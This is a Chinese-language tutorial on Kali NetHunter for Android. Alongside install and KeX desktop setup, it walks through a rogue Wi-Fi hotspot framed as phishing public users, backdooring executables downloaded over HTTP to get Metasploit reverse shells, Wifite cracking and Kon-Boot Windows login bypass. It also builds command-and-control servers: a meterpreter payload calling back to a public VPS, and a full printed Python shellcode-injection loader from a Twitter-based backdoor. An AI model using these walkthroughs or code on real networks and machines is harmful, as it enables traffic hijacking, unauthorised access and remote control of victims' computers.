Being mobile doesn’t mean putting up with tiny! (手机端并不意味着功能微小)。通过 HDMI 或屏幕投射连接显示器,可以获得桌面版本 Kali 一样的体验。
手机端 连接 nethunter:
1、选择菜单 "Kex Manager", 点击 "SETUP LOCAL SERVER" 设置VNC密码;
2、取消勾选 "Localhost Only"
3、选择用户(可选),默认 kali
4、点击 "START SERVER"
5、点击 OPEN KEX CLIENT,打开 NetHunter KeX,输入用户名 kali 前面设置的密码即可
PC端 连接 nethunter:
需要下载支持 VNC 的软件,这里使用 MobaXterm,打开 MobaXterm,选择 VNC,输入地址:手机IP:端口 进行连接。然后输入密码就进去了!
vnc setting localhost:1 port 5901(注意:这里可能每个人的不一样,在终端中设置vnc密码的时候,平常后会出现个数字,大概像 1,2,3,4 这样的 ),类似的,port 就应为 5901,5902,5903。
输入设置的6位 vnc 密码。点击 connect 就可以出现图形化界面。
启动 KeX 管理器
单击 菜单项,然后选择“KeX 管理器”以打开 KeX 菜单。在这里可以启动和停止服务,打开KeX客户端并配置高级设置。可以通过执行以下步骤来启动 KeX:
- 首次使用前设置 KeX 密码
- 启动 KeX 服务器
- 打开 KeX 客户端
- 输入 KeX 密码(该密码安全地存储在连接配置文件中)
- 在 KeX 客户端点击“连接”,连接 KeX 服务器
- 连接HDMI显示器和蓝牙键盘和鼠标(可选,设备可用作触摸板)
打开“高级设置”并设置自定义分辨率以适合连接的显示器
设置 KeX。在首次启动 KeX 服务器之前,单击“SETUP LOCAL SERVER”并配置会话密码和只读密码。
启动 KeX。要启动 KeX,请单击“启动服务器”。要停止 KeX,请单击“停止服务器”。若要显示服务器是否正在运行,请单击“刷新”按钮。
启动 KeX 客户端。要启动 KeX 客户端,请单击“打开 KEX 客户端”
首次连接前,请在密码字段中输入密码(设置服务器时配置的密码)
点击 connect 即可
使用 KeX 控件。触摸屏幕会显示屏幕显示 2 秒钟,这允许您打开屏幕键盘或上下文菜单来配置或断开 KeX 会话。你可以随时断开并重新连接到您的会话。
高级 KeX 设置。打开“高级设置”菜单以调整显示分辨率设置。
NetHunter 更改 MAC
MAC Changer 窗口允许你更改 NetHunter 设备网络接口的 MAC 地址。您可以选择将 MAC 地址设置为随机值,也可以使用标准的 6 对表示法(如 00:11:22:AA:BB:CC)手动输入。
MITM 框架
MITM (Man In The Middle) 由 @byt3bl33d3r 编写,提供了方便的一站式服务,满足你所有的 MitM 和网络攻击需求。它包括键盘记录、cookie 捕获、ARP 中毒、注射、欺骗等等。
NetHunter MANA 邪恶接入点
The MANA Toolkit 是 SensePost 的邪恶接入点实现,可执行流氓 Wi-Fi AP 和 MitM 攻击。MitM 日志被写入 Kali chroot 中的 /var/lib/mana-toolkit/。
默认的 MANA 配置应按原样工作,但是,您可以调整任何可用设置以匹配您的目标环境,例如 ssid、通道号等。将所有内容配置到您满意的程度后,点击“更新”按钮以保存配置。
Metasploit Payload 生成
MSFvenom Payload Creator (MFSPC) 由 g0tmi1k 编写,用于消除使用 Metasploit msfvenom 实用程序生成有效负载的痛苦。只需选择您的有效负载,设置其选项,然后生成您的有效负载。
Nmap 扫描
通过 Nmap 扫描窗口,你可以轻松访问功能强大的 Nmap 扫描最常用的选项,让您轻松对目标或网络进行深入扫描,而无需使用屏幕键盘在命令行上键入长字符串。
Social Engineer Toolkit
NetHunter 社会工程师工具包。Social Engineer Toolkit 网络钓鱼电子邮件模板创建器使您可以自定义 3 个网络钓鱼电子邮件模板。插入您自己的链接、缩略图、名称和主题。这些模板保存到 SET 的 templates 目录中,因此可以在使用群发邮件攻击时选择它。
无线网卡和 NetHunter
Wireless Cards and NetHunter。外部无线网卡是必要的,因为除了现代骁龙 SOC 中使用的一些高通芯片外,Android 设备在大多数设备上不支持监控模式。有些设备可以通过修改后的固件和内核支持监控模式,例如Nexus 5,7(2012)和Nexus 6P。目前,只有经过特殊修改的Nexus 5版本支持Nethunter的监视模式。
有几个限制是 Android 设备需要 USB-OTG 电缆并且功率输出有限。由于这些限制,并非所有无线网卡都能接收必要的电源输出,并且可能不支持外部电源(Y 型电缆)。
当问“NetHunter 的最佳卡是什么?”时,您需要问问自己您的用例是什么。虽然所有的卡在近距离上都可能表现相似,但其中一些卡具有更高的发射功率和天线附件,这使得它们能够在比小型卡更远的距离上工作。还有一种可能性是,您的设备可能只能通过 OTG 提供 450 mA 或更低的功率,而不是完整的 USB 500 mA 规格。如果是这种情况,您可能需要考虑传输功率较低的设备。
默认情况下,大多数(如果不是全部)NetHunter 内核都支持以下芯片组:
Atheros
- ATH9K_HTC (AR9271, AR7010)
- ATH10K
Ralink
- RT73
- RT2800USB
- RT3070
Realtek 瑞昱
- RTL8188EUS
- RTL8188CU
- RTL8188RU
- RTL8192CU
- RTL8192EU
- RTL8723AU
- RTL8811AU
- RTL8812AU
- RTL8814AU
- RTL8821AU
- RTW88-USB
MediaTek。MediaTek 联发科
- MT7610U
- MT7612U
Qualcomm internal wifi chipsets (wlan0)。高通内置 wifi 芯片组 (wlan0)
- QCACLD-2.0
- QCACLD-3.0
以下设备已确认与 NetHunter 可以一起使用:
-
TP-Link TL-WN722N v1 (Please note that v2 & v3 have unsupported chipsets) but v2 and v3 may be supported using RTL8812AU drivers.)
-
TP-Link TL-WN822N v1 - v4
-
Alfa Networks AWUS036ACH
-
Alfa Networks AWUS036NEH (recommended by @jcadduono)
-
Alfa Networks AWUS036NHA
-
Alfa Networks AWUSO36NH
-
Panda PAU05 Nano
以下设备已确认部分适用于 NetHunter 版本:
- Alfa Networks AWUS051NH (dual band 5 GHz support may be unreliable)
以下设备已确认不能与 NetHunter 版本一起使用:
绕过 Windows 登录认证
NetHunter 其实有许多隐藏玩法,比如借助 DriveDroid 实现 Windows 登陆绕过密码。DriveDroid本是个允许通过安卓手机中的 ISO/IMG 镜像文件引导启动 PC机的一个App,但结合了特定的镜像,实现绕过 Windows 登陆认证就变得可行。
以Win7为例,首先为默认账户创建密码 hello ,DriveDroid 默认引导镜像存放目录位于SDCard/Download/images,只需将欲引导的镜像存放于此目录即可。
这里绕过Windows或OSX登陆认证的镜像为 Kon-Boot。可以到官网了解,其原理在于处理BIOS修改系统内核的引导处理,跳过SAM检查,直接登陆系统。因为是付费软件,以下以自行寻觅的镜像为例演示。关闭 MTP文件传输,打开 DriveDroid,自动列出 images 目录下得镜像文件。
选择 Kon-Boot.img 镜像挂载,模式这里选择为 Read-Only USB
加载成功后相应镜像有所标志
而在连入的PC机中也会显示加载有新的可移动磁盘(或软驱盘),如未能显示,可在配置页面进行相应调整(可通过USB Setup Wizard向导指引)
此时在设有密码的PC机重启,进入BIOS设置启动项
如果镜像加载成功,可以看到飞奔的图案如下:
之后登陆用户密码处回车即可绕过密码认证登陆系统
需要说明的是,通过此方式登陆系统无法直接修改或删除系统密码。
WarDriving
字面意思是 "战争驾驶、驾驶攻击"。"驾驶" 是相当字面的。黑客驾驶汽车(或有时是其他车辆,如自行车)四处走动,配备特殊设备,可绘制出不安全的 Wi-Fi 网络。其实就是不断的改变位置信息进行攻击。在 NetHunter 的 Wireless 模块中 Kismet 作为 WarDriving 的默认工具,不过操作起来画面太美不敢看。在启动 kismet 之前,请确保您的无线接口处于监视器模式。由于监视器模式 QCACLD-3.0 驱动程序,也可以使用内部无线接口。
退而求其次,推荐使用 App WigleWifi。不过注意不要不小心上传数据。使用easy,界面很难看。
好在数据可以以 Sqlite 数据库格式存储在本地。
Mana EvilAP蜜罐
想建个 CMCC 无线网络钓鱼劫持流量? PineApple 没有带在身边,不妨拿出手机,开个蜜罐。Mana蜜罐采用与 PineApple 相同的:Hostapd的Karma补丁,可用来欺骗接入无线网络用户,使其可很平滑连接到虚假AP中,进行后续攻击。
需要说明的是:NetHunter无线攻击模块,大都需要使用 OTG 外接USB无线网卡,主流芯片(可以试试 Kali 是否可直接识别)网卡均可。WN722N 较为推荐,迷你的EDUP网卡通用性则较强(Raspberry Pi也可直接识别),只是信号强度..自然可想而知。
Mana蜜罐有多种Hacking模式,均为sh脚本,可自由定制。
Mana工具安装目录为:/usr/share/mana-toolkit
启动脚本则在此处存放:/usr/share/mana-toolkit/run-mana
截获流量文件存放于:/var/lib/mana-toolkit
通过 NetHunter Home 的Mana蜜罐页面可方便的对配置文件进行修改:
Hostapd 配置文件
DHCP服务配置文件
DNS 欺骗配置文件
服务启动脚本有多个,均可自由编辑修改:
上图对应脚本 start-nat-full.sh,脚本需要USB无线网卡(存在上行流量)启动,无线连入为NAT模式,并启动所有脚本包括:firelamb、sslstrip、sslsplit 等,截获流量并保存。
start-nat-simple.sh 同样有上行流量,但并不启动 firelamb、sslstrip、sslsplit 等脚本。
start-nat-simple-bdf.sh,加入了BDF恶意代码Inject工具,后面章节将对其攻击思路进行介绍。此外,还有
start-noupstream.sh :Mana作为无法上网的虚假AP启动,但可吸引WIFI默认开启的终端自动连接并抓取信息。
start-noupstream-eap.sh:Mana同样无法上网,但会进行EAP攻击
编辑好启动文件后,Start Attack,会弹窗勾选启动脚本:
即可启动服务。
Backdooring Executable Over HTTP
对使用HTTP协议传送的二进制文件注入shellcode。
首先建立一个Mana蜜罐,SSID 这里使用默认名称 internet,启动服务
cd /usr/share/mana-toolkit/run-mana
./start-nat-simple-bdf.sh
再开一个Shell,编辑 bdfproxy.cfg,此配置文件包含了针对不同平台默认设置的 payload,可自行更换。不过由于显示问题,用 nano 编辑文本会一行行刷新,还是换个方式编辑比较好。这里只把IP 修改192.168.1.151,也可在 Nethunter 的主面板下的 MANA Evil Access Point 中进行配置。
nano /etc/bdfproxy/bdfproxy.cfg 配置好IP之后,在Shell中直接输入bdfproxy运行之。再新开一个Shell 启动 Metasploit
一切准备就绪,等待连入蜜罐AP的PC机上网下载二进制文件,在此通过百度下载 everything (神器啊)演示:
运行everthing,因为注入了 payload,会出现自校验失败的提示
查看MSF,已成功反弹回Shell,而上面自校验失败的提示就是MeterPreter 的screenshot 截图
不得不说,这个新特性真的很Cool。
Wifite 破解
如果没有无线破解是不科学的,NetHunter推荐的 Wifite 破解工具是其最早集成的功能之一。移动设备的便携性更有利于随时随地进行Wifi安全测试,只需挂载上外置无线网卡便可轻松抓包破解,不过并不建议直接在移动设备上破解抓到的包,如跑几分钟没结果,就拿高性能设备破解吧,否则易导致设备死机。连接好外置无线网卡后,在 Nethunter 主菜单选择 Launch Wifite 即可进入
选择开启混杂监听模式的网卡,选择Wlan1
扫描开始,每5秒更新一次,当确认攻击目标后 CTRL+C 停止扫描
输入攻击目标序号,这里就选 XDSEC-WIFI,输入2
抓包成功后自动调用字典破解,这里机智的把字典删掉,其自动退出
抓到的握手包存放在 /data/local/kali-armhf/HS目录下,命名规则是 SSID+MAC
如果目标开启 WPS,则自动进行PIN码破解。Wifite 相对傻瓜化,易操作,适合移动终端。连入无线后结合 zANTI 等工具调戏即可。
3、安装 精简版(NetHunter Lite)
有 root 就安装完整版,没 root 就安装 Rootless 版本。
4、安装 非root版 (Rootless)
官网 NetHunter Rootless 安装步骤:https://www.kali.org/docs/nethunter/nethunter-rootless/
- NetHunter Store App 下载地址 https://store.nethunter.com/NetHunterStore.apk
- NetHunter Web Store 访问地址 https://store.nethunter.com/
- NetHunter Apps 源码在 GitLab https://gitlab.com/kalilinux/nethunter/apps/
所有应用程序都可以通过 NetHunter Store 客户端安装。
从 store.nethunter.com ( https://store.nethunter.com/ ) 安装 NetHunter-Store 应用程序
安装 F-Droid 开源软件商店:https://f-droid.org/zh_Hans/
使用 F-Droid 商店安装 Termux:https://f-droid.org/packages/com.termux/
从 NetHunter-Store 安装 Termux、NetHunter-KeX客户端 和 Hacker’s keyboard
打开 Termux 执行下面命令,如果卡在 installing 就开个代理
$ termux-setup-storage 添加访问存储权限,点击允许
$ pkg install wget
$ wget -O install-nethunter-termux https://offs.ec/2MceZWr
$ chmod +x install-nethunter-termux
$ ./install-nethunter-termux执行 "./install-nethunter-termux" 命令会从 nethunter 下包,如下:
一般情况下都会丢包导致SSL error:(null)最终!导致校验失败无法安装。这时候使用迅雷或者其他的下载软件下载对应的压缩包。https://images.kali.org/nethunter/kalifs-arm64-full.tar.xz 然后把下载好的压缩包复制到手机下的download目录下,在终端里执行如下命令。
cd storage
cd downloads
mv kalifs-arm64-full.tar.xz /data/data/com.termux/files/home
cd /data/data/com.termux/files/home
./install-nethunter-termux
第一个蓝色句子意思大概是发下同名文件,是否要删除下载下一个?N、
中间需要的时间有点长,请耐心等待。
第二个蓝色句子意思大概是问你安装完要不要把安装文件(rootfs)删了?这里选择y
安装完成后,这就是最简 gui 的安装过程。然后执行 nh 命令进入 kali
打开 Termux 并输入下面命令,命令 nethunter 可以缩写为 nh
nethunter 启动Kali NetHunter命令行界面
nethunter kex passwd 配置KeX密码(仅在首次使用前需要)
nethunter kex & 启动Kali NetHunter桌面体验用户会话
nethunter kex stop 停止Kali NetHunter桌面体验
nethunter <command> 在NetHunter环境中运行
nethunter -r 以root身份启动Kali NetHunter
nethunter -r kex passwd 为root配置KeX密码
nethunter -r kex & 以root身份启动Kali NetHunter Desktop Experience
nethunter -r kex stop 停止Kali NetHunter桌面体验根会话
nethunter -r kex kill 杀死所有KeX会话
nethunter -r <command> 以root身份在NetHunter环境中运行 <command>
如果在后台运行 kex( & )而没有设置密码,再次设置密码时,首先需要将其带回前台,通过 fg <job id> -您可以稍后通过 Ctrl + z 和 bg <job id> 再次将其发送到后台。要使用 KeX,请启动 KeX客户端,输入密码并点击连接提示:为了获得更好的观看体验,请在 KeX 客户端的“高级设置”下输入自定义分辨率。
安装成功后
- 安装后第一件事就是运行 sudo apt update && sudo apt full-upgrade -y 来更新Kali。如果你有足够的存储空间,你可能也想运行 sudo apt install -y kali-linux-default。或者运行 kali-tweaks 来调整 kali 的元数据库的群组,通过tab节点来调整选择相关群组,选择并apply。相关群组如下:
System 系统组:https://www.kali.org/docs/general-use/metapackages/#system
kali-linux-core: Base Kali Linux System – core items that are always included 系统基础组件
kali-linux-headless: Default install that doesn’t require GUI 不要求GUI则默认安装headless
kali-linux-default: “Default” desktop (amd64/i386) images include these tools 默认桌面
kali-linux-arm: All tools suitable for ARM devices ARM设备全部工具集
kali-linux-nethunter: Tools used as part of Kali NetHunter NetHunter工具集
Desktop environments/Window managers 桌面环境/窗口管理:https://www.kali.org/docs/general-use/metapackages/#desktop-environmentswindow-managers
kali-desktop-core: Any key tools required for a GUI image GUI核心组件
kali-desktop-e17: Enlightenment (WM)
kali-desktop-gnome: GNOME (DE)
kali-desktop-i3: i3 (WM)
kali-desktop-kde: KDE (DE)
kali-desktop-lxde: LXDE (WM)
kali-desktop-mate: MATE (DE)
kali-desktop-xfce: Xfce (WM)
Tools 工具:https://www.kali.org/docs/general-use/metapackages/#tools
kali-tools-gpu: Tools which benefit from having access to GPU hardware 访问GPU硬件资源工具
kali-tools-hardware: Hardware hacking tools 硬件hack工具
kali-tools-crypto-stego: Tools based around Cryptography & Steganography 加密工具
kali-tools-fuzzing: For fuzzing protocols fuzzing协议工具
kali-tools-802-11: 802.11 (Commonly known as “Wi-Fi”) 无线协议工具
kali-tools-bluetooth: For targeting Bluetooth devices 蓝牙设备
kali-tools-rfid: Radio-Frequency IDentification tools 无线射频
kali-tools-sdr: Software-Defined Radio tools 软件定义无线工具
kali-tools-voip: Voice over IP tools IP语音工具
kali-tools-windows-resources: Any resources which can be executed on a Windows hosts 窗口资源
kali-linux-labs: Environments for learning and practising on 实验室环境测试
菜单:https://www.kali.org/docs/general-use/metapackages/#menu
kali-tools-information-gathering: Used for Open Source Intelligence (OSINT) & information gathering 信息收集
kali-tools-vulnerability: Vulnerability assessments tools 漏洞扫描
kali-tools-web: Designed doing web applications attacks web攻击
kali-tools-database: Based around any database attacks 数据库攻击
kali-tools-passwords: Helpful for password cracking attacks – Online & offline 在线/离线密码攻击
kali-tools-wireless: All tools based around Wireless protocols – 802.11, Bluetooth, RFID & SDR 无线协议攻击
kali-tools-reverse-engineering: For reverse engineering binaries 逆向工程
kali-tools-exploitation: Commonly used for doing exploitation 漏洞发现
kali-tools-social-engineering: Aimed for doing social engineering techniques 社会化工程
kali-tools-sniffing-spoofing: Any tools meant for sniffing & spoofing 嗅探工具
kali-tools-post-exploitation: Techniques for post exploitation stage 漏洞工具
kali-tools-forensics: Forensic tools – Live & Offline 取证工具
kali-tools-reporting: Reporting tools 报告工具
其他:https://www.kali.org/docs/general-use/metapackages/#others
kali-linux-large: Our previous default tools for amd64/i386 images amd64/i386默认工具集
kali-linux-everything: Every metapackage and tool listed here 所有元数据和列出的工具
kali-desktop-live: Used during a live session when booted from the image live启动盘 - 所有的渗透测试工具都应该工作,但有些可能有限制,例如metasploit 没有数据库支持。
- 一些实用程序,如 top命令 不会运行在unrooted手机。
- 非 root 用户在 chroot 中仍然拥有 root 访问权限。这是使用 proot 实现的。
- 通过停止所有nethunter会话并在termux会话中键入以下内容来执行rootfs的定期备份: tar -cJf kali-arm64.tar.xz kali-arm64 && mv kali-arm64.tar.xz storage/downloads 这将把备份放在Android下载文件夹中。注:在旧设备上,将“arm 64”更改为“armhf”
关于 termux 安装 kali| postgresql 报错:mainError: Data directory /var/lib/postgresql/15/main must not be owned by root
sudo rm -rf /var/lib/dpkg/info/postgresql*
sudo dpkg --configure -a
sudo apt update && sudo apt full-upgrade -y
termux 中 kali 本身不带工具,如果想要完整版安装,需要在启动 kali 后,在里面执行下面命令,不过这需要大量磁盘空间:
apt update
apt full-upgrade -y
apt install kali-linux-full 或者 apt install kali-linux-default
执行 apt list 可以列出所有工具。
安装 Termux-api,去应用商店或去官网下载安装,或者 Termux 执行:pkg install termux-api ,然后给 termux-api 权限就可以获取对应的手机信息了。
vnc 连接桌面
VNC是Virtual Network Computing(虚拟网络计算机)的缩写。就是远程控制你电脑的工具。(带GNU图形界面)支持linux、unix、Windows等操作系统。
termux 开启状态才可以用 vnc
nh 是 nethunter 的缩写,-r 代表 root 用户,去了 -r 就是普通用户
- nh kex passwd 设置 VNC 密码。nh -r kex passwd 设置 root 用户使用 kex 的密码
- nh -r kex & 后台启动桌面。(root用户端口默认5902,而普通用户是5901,软件nethunter kex 默认5900 )
- 打开 NetHunter-KeX app
去掉 localhost:1后的:1,然后把端口号改为 5902
再然后,输入密码(用户名可写root),点击黑色按钮 Connect进行连接- 关闭服务:在termux中执行 nh -r kex kill 或 nh -r kex stop
关于 kali nethunter 使用 termux 代替默认终端的方案:https://blog.csdn.net/AA1234567890_/article/details/122974973
Windows VNC Viewer无法连接Android上Kali NetHunter Kex远程桌面的一种解决办法
:https://zhuanlan.zhihu.com/p/560172905
上面通过 termux 开启 vnc 服务,也可以直接进入 kali,在 kali 中启动 vnc
kali 配置VNC ( kali 自带 tightvncserver ):https://www.cnblogs.com/zroCrow/p/16183209.html
方法 2:https://github.com/Hax4us/Nethunter-In-Termux
安装:
在HOME 目录中下载脚本curl -LO https://raw.githubusercontent.com/Hax4us/Nethunter-In-Termux/master/kalinethunter
添加执行权限 chmod +x kalinethunter
运行脚本 ./kalinethunterIn Case Of SSL error: certificate verify failed。执行命令:./kalinethunter --insecure
用法:
执行命令 startkali 启动 nethunter。默认用户名和密码都是 kali
如果想以 root 用户启动 nethunter 则执行命令:startkali -rVNC 手册:
开始一个 VNC 会话:vnc start
停止一个 VNC 会话:vnc stop
查看 VNC 状态( Display and port number):vnc status
启动vnc start则默认会开启 vncserver 。
kali 用户启动后:DISPLAY=:2 & PORT=5902
root 用户启动后:DISPLAY=:1 & PORT=5901启动 LXDE 桌面
默认的 DESKTOP 是 XFCE4,但是也可以设置 LXDE 作为桌面:https://www.hax4us.com/2018/07/how-to-install-lxde-in-kali-nethunter.html?m=1
安装完成后,启动进入kali:startkali
安装 VNC 服务
进入kali 后,root 权限下执行:sudo wget https://raw.githubusercontent.com/EXALAB/AnLinux-Resources/master/Scripts/DesktopEnvironment/Apt/Xfce4/de-apt-xfce4.sh && bash de-apt-xfce4.sh
执行 vncserver-start 后,输入密码一个自定密码即可。
打开 vnc 的 APP,像这样设置
要在Termux上安装xfce4桌面环境,可以按照以下步骤进行操作:
首先,确保你的Termux已经安装了必要的软件包。你可以使用以下命令安装所需的软件包: pkg install x11-repo python openbox pypanel xorg-xsetroot aterm
接下来,你需要安装PyXDG库。你可以使用以下命令安装: pip3 install PyXDG
然后,你可以使用以下命令下载并运行安装脚本:
wget https://raw.githubusercontent.com/EXALAB/AnLinux-Resources/master/Scripts/DesktopEnvironment/Apt/Xfce4/de-apt-xfce4.sh && bash de-apt-xfce4.sh
安装完成后,你可以启动xfce4桌面环境。你可以使用以下命令启动xfce4: startxfce4
注意,这只是一种在Termux上安装xfce4桌面环境的方法。还有其他方法可以安装Linux系统,如proot-distro等。你可以在GitHub上找到更多的项目来参考
5、ARM 设备 武器化指南
ARM 设备 武器化指南 --- 上手实操:https://www.anquanke.com/post/id/205455#h2-4
在渗透测试流程中,实施人员可以尝试利用WIFI和USB连接,将移动安全小组提供的移动端 RAT 植入到目标移动终端中,这里稍微具体一些、展开讲下。
C&C 服务器
C&C服务器:https://blog.csdn.net/laowu8615/article/details/78181032
C&C服务器,其全称为 command and control server。C&C服务器不仅可以为攻击者提供便利的资源管理平台,也可以保障其个人隐私安全。现在通过几个C&C服务器的搭建实验了解一下什么是C&C服务器,以了解如何应对利用C&C的攻击行为。
无 C&C服务器 通讯
某天,某攻击者通过固定的外网IP控制了一个外部的外网用户。两台设备的交流完全是点对点交流的,并且交流方式是主动式交流。
由于该用户由购买了几台电脑,一个IP已经不够用了,所以就在家里面配置了一台路由器。虽然用户可以访问外网,但是这样就导致用户所有的电脑设备都处在一个内网中。攻击者没有办法控制用户的电脑,所以又入侵了他的路由器做了一个端口转发,然后继续控制该用户。
VPN C&C服务器 通讯
随后该攻击者发现自己的外网IP属于动态IP地址。只要一断线,IP地址就会改变。为了能够持久的进行监听会话,攻击者租用了一台VPS服务器,在上面搭建了一个pptp代理,随后用 iptable 做了端口转发,并且将交流方式改为反弹式交流。
技术解析:有的时候,地方宽带运营商会有各种各样的规则,这样将会导致控制端的网络非常不稳定。记得我在2012年的时候是使用电信的宽带对后门进行控制,但是电信给我的IP属于一个内网IP。随后打电话给客服改成公网IP,但是这个IP是动态的,每天都在变化。这样复杂的网络环境,攻击者需要一个稳定和安全的C&C服务器。
以下为本次实验的环境:
win 10 一台
Kali Linux 一台
Linode VPS 一个
在这里,我们先使用Kali Linux作为控制端,win 10则为病毒感染的设备,而VPS则作为一个C&C服务器。首先在Linode上租用一台 VPS,我们可以看到这台VPS的公网IP为139.162.5.124。
为了方便教程,我使用Veil编译一个meterpreter的payload。其设置如下
监听IP:139.162.5.124(VPS的公网IP)
监听端口:1024(随意填写)
Payload种类:python/meterpreter/rev_tcp
加密方式:Pyherion
然后需要对 VPS 进行一个简单的设置,通过 SSH 连接 VPS,然后进行 update。
随后安装pptp的基本组件
对/etc/pptpd.conf文件进行编辑,添加Local IP地址和remote IP地址。
localip 192.168.0.1
remoteip 192.168.0.2
然后编辑/etc/ppp/chap-secrets文件,设置pptp的账号和密码。
freebuf pptpd freebuf *
然后再编辑 /etc/ppp/options 文件,将 ms-dns 设置为根服务器地址,如 8.8.8.8 之类的。
再继续编辑/etc/ppp/options文件,添加net.ipv4.ip_forward=1,其意义是使IP能够转发。保存后可以使用sysctl -p检查一下。
输入命令 /etc/init.d/pptpd restart,让pptp服务重启,然后安装iptable,并且设置相关命令。
iptable安装:apt-get install iptables
iptable设置:
1. iptables -t nat -A POSTROUTING -s 192.168.0.0/24 -o eth0 -j MASQUERADE
2. iptables-save > /etc/iptables.pptp
3. cd /etc/network/if-up.d/
4. vi iptables
写入以下内容
#!/bin/sh
iptables-restore < /etc/iptables.pptp
5. chmod +x /etc/network/if-up.d/iptables
到目前这一步 pptp 已经可以连接到外网了,但是还不够,我们需要对其进行端口转发。大家可以使用iptable继续来做端口转发,或者使用rinetd之类的端口转发工具。
安装 rinetd:sudo apt-get install rinetd
然后编辑 /etc/rinetd.conf文件,写入0.0.0.0 1204 192.168.0.2 1204。其意义是把所有通过1024端口连接本机的IP映射到内网IP中的1024端口。
保存之后可以重启rinetd服务器,或者通过pkill命令关闭rinetd,然后通过该命令”rinetd -c /etc/rinetd.conf“调用刚才保存的conf文件开启rinetd程序。
对Kali中PPTP的连接做一下更改,主要是使用MPPE点对点加密连接,并且不发送PPP响应数据包。
VPN 连接没什么问题
然后打开Metasploit,找到handler,并且对其进行设置。
监听IP:192.168.0.2
监听端口:1024
在win10客户端激活木马,然后可以看到handler和payload已经成功搭建起了会话。
也许教程有点绕,但是技术逻辑很清晰。首先是后门持续对VPS进行监听,而VPS则是把被监听端口的流量转发到自己的内网IP上,而客户端在连接到VPN后对这个内网IP进行监听即可。
如下图所示:
Web C&C服务器 通信
慢慢的,VPS服务器商场发现攻击者把一台VPS服务器当作C&C服务器。这个攻击者就思考得改变一下数据交流的方式,于是用微博当作C&C服务器。后门程序和控制程序内置爬虫脚本,通过XPath参数或者其它参数抓取微博中的内容,将其当作控制命令。
技术解析:这个最能拿来当作例子的应该是twitter,实际上攻击者依靠twitter当作C&C服务器早就不是新闻,比如2015年新闻《俄罗斯攻击者是如何滥用twitter作为Hammertoss C&C服务器的?》。还有的攻击者入侵Discuz论坛,把该论坛当作其C&C服务器。这种开放式的C&C有些是直接分析HTML代码,将特定的参数值当作命令进行处理,有些则是读取json数据等。
在GitHub上公布了一个开源的twitter后门程序,其项目名称叫做twittor。
项目地址:Twittor
这个项目的主要文件如下
implant.py
requirements.txt
twittor.py
看GitHub的官方设置,我们是到Twitter中创建一个application,并且通过pip安装requirement.txt里面的一些组件。
创建applocation还好理解,因为在implant.py文件中,它需要twitter的username,token和secret等参数来发送推文。
至于requirements.txt中只有一个python的第三方库需要安全,就是tweepy库。这个库主要功能是和twitter的API建立通讯。
观察implant.py,该文件调用了以下模块
from tweepy import Stream
from tweepy import OAuthHandler
from tweepy import API
from tweepy.streaming import StreamListener
from uuid import getnode as get_mac
import ctypes
import json
import threading
import subprocess
import base64
import platform
tweepy我们已经说过了,是关于twitter API通讯模块,而json模块主要是对json进行解析。而uuid模块主要是获取目标机器的MAC地址的。ctypes库主要是提供和C语言兼容的数据类型,可以很方便地调用C DLL中的函数,这样可以很方便和meterpreter兼容起来。该文件还调用了threading库,这样可以进行多线程任务。同时也调用了subprocess,这样可以创建多个子线程。base64库主要是对数据进行base64位转码,比如中文等等之类的。而platform库主要是查看其操作系统的类型,版本号等系统信息。
先创建twitter的key和access token。
然后开启可读可写权限
把各种token和secret填写到payload和handler内。
但是运行的时候却报错了。
google上有人说到,tweepy项目的某个人原本想用update_status做一个开始的连接测试,以保证自己编译的代码可以正常访问google API。但是在tweepy开发的过程中,不注意把这个参数作为了一个首要条件,导致所有凡是要调用tweepy库发推的人必须要先验证update_status。
只能在twiitor.py里面调用一下tweepy,然后写入api.update_status(status=m),不过测试的时候还是爆出相同的错误。
但是当我运行twittor.py的时候的确是可以收到信息的,这个就尴尬了。
google搜索没有结果,于是慢慢查看官方文档,最终找到了问题的出处。原来twitter官方已经不允许使用direct_message命令,同时也表示一个user token不允许在第三方平台登陆。
而我们代码内刚好就有一个direct_messages命令。估计twitter最近也是被twitter僵尸网络折磨怕了,才会出现相关规则。
精力有限,如果要让这个C&C上线,需要查看twitter官方文档,重新编写代码了。这个C&C的精华之处在于它把所有的所有的数据转换成base64位进行传播,并且可以插入任意shellcode的数据片到内存值中。也就是说,当该后门被激活的时候,你甚至可以插入meterpreter的shellcode。这个功能的核心代码为以下部分:
class ExecuteShellcode(threading.Thread):def __init__(self, jobid, shellc):threading.Thread.__init__(self)self.shellc = shellcself.jobid = jobidself.daemon = Trueself.start()def run(self):try:shellcode = bytearray(self.shellc)ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), buf, ctypes.c_int(len(shellcode)))ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht), ctypes.c_int(-1))except Exception as e:print epass
具体的实现功能如下图所示:
如果有人要重新编写这个C&C,一定要加上这个功能啊!
Email C&C服务器 通讯
但是好景不长,有些攻击者发现这个微博号一直发一些奇怪的内容,深度挖掘之后发现这个微博号是一个C&C服务器。于是攻击者决定要搞一个绝对安全的C&C服务器,于是该攻击者决定在后门程序内加入smtp连接代码。从此该攻击者有了快乐开心的“抓鸡”生活。
技术解析:在“油管”上看到某个人录制的视频,代码也非常简单,很适合教学,于是便引用他的代码来进行讲解。他的后面程序是基于python来编写的。
文件下载下来后,发现有两个主要程序一个主要目录。
implant.py:payload
gcat.py:控制端
data目录:数据存放路径
先看看 implant.py,在1至15行我们可以看到这个后门程序调用了以下的python模块。
以下是gcat.py调用的模块。模块功能我不做描述了,请自行google。但是有几个模块是十分重要的,就是emai, imaplib和json模块。这里主要是负责处理email的管理,连接,以及编码和解码邮件json数据。
两个模块都有以下四个主要常量,分别是邮箱号,密码,smtp服务器地址,和smtp端口。
然后我们一边操作一遍讲解相关代码吧。我们在这里是使用Veil-Evasion 的auxiliary/pyinstaller_wrapper组件进行编译。
PYTHON_SOURCE填写上implant.py的路径。
文件名我就叫C&C吧,然后选择默认的编译方式。
编译好后我复制到windows系统上,然后双击运行。
这时email收到了一份邮件,里面有我的系统进程,系统版本等详细信息。
